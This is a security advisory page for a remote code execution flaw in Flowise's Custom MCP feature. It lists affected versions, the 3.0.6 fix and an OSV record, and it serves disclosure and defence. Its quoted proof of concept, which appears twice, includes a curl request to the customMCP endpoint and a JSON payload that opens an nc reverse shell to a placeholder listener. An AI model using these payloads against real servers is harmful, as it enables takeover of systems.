GHSA-6933-jpx5-q87q: Flowise Remote Code Execution Vulnerability

HIGH
CWE-78 CWE-862
Published
Advisory Summary

GHSA-6933-jpx5-q87q is a HIGH remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Flowise libraries in the npm ecosystem. The issue involves flowise has unsandboxed remote code execution via custom mcp. Remediation is available by upgrading affected packages to version 3.0.6.

GHSA-6933-jpx5-q87q at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-6933-jpx5-q87q
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

How to Fix GHSA-6933-jpx5-q87q

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise fixed: 3.0.6
npm install flowise@3.0.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls flowise

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-6933-jpx5-q87q, inspect your project dependencies using npm:

npm ls flowise

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.6), your application is affected.

Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables. This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server. ### PoC 1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker 2. Create a new file named `payload.json` somewhere in your machine, with the following data: ``` {"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"} ``` 3. Send the following `curl` request using the `payload.json` file created above with the following command: ``` curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP" ``` 4. Observe that a new file named `yofitofi` is created under `/tmp` folder. Similarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload: ``` {"inputs":{"mcpServerConfig":{"command": "nc","args": [ "<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh" ]}}, "loadMethod":"listActions"} ``` ![Pasted image 20250420132335](https://github.com/user-attachments/assets/b41093b9-a0d7-415e-bf9b-b8cbce7183d6) ### Impact Remote code execution ### Mitigation - Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform. - Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature. - Consider running Custom MCPs within a sandboxed environment ### Credit The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

GHSA-6933-jpx5-q87q Affected Flowise Versions

1 component(s)
Fixed Versions:
3.0.6
Product / Package Ecosystem Affected Versions Fixed Version
flowise
npm
≥ 2.2.7-patch.1
< 3.0.6
3.0.6

References

Frequently Asked Questions

What is GHSA-6933-jpx5-q87q?
GHSA-6933-jpx5-q87q is a security vulnerability in Flowise involving Flowise has unsandboxed remote code execution via Custom MCP under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Flowise versions are affected?
Affected versions include releases prior to 3.0.6 across affected packages: flowise.
What version fixes GHSA-6933-jpx5-q87q?
Upgrading to 3.0.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.0.6. Upgrade your dependency to 3.0.6 or later.
What CWE is associated with GHSA-6933-jpx5-q87q?
GHSA-6933-jpx5-q87q is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for GHSA-6933-jpx5-q87q?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6933-jpx5-q87q",
  "modified" : "2025-09-15T20:30:30Z",
  "published" : "2025-09-15T20:30:30Z",
  "aliases" : [ ],
  "summary" : "Flowise has unsandboxed remote code execution via Custom MCP",
  "details" : "### Summary\nThe Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables.\n\nThis combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.\n\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n   https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"touch\",\"args\": [\"/tmp/yofitofi\"]}},\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n\nSimilarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"nc\",\"args\": [\n\"<LISTENER_IP_ADDRESS>\",\"<LISTENER_PORT>\",\"-e\",\"/bin/sh\"\n]}},\n\"loadMethod\":\"listActions\"}\n```\n\n![Pasted image 20250420132335](https://github.com/user-attachments/assets/b41093b9-a0d7-415e-bf9b-b8cbce7183d6)\n\n### Impact\nRemote code execution\n\n### Mitigation\n- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with \"Admin\" roles will be able to configure new Custom MCPs within the platform.\n- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.\n- Consider running Custom MCPs within a sandboxed environment\n\n### Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.2.7-patch.1"
      }, {
        "fixed" : "3.0.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6933-jpx5-q87q"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/pull/5201"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/commit/ac7cf30e019cde54905bf09b5d3fe1c6ba42f9b9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78", "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-15T20:30:30Z",
    "nvd_published_at" : null
  }
}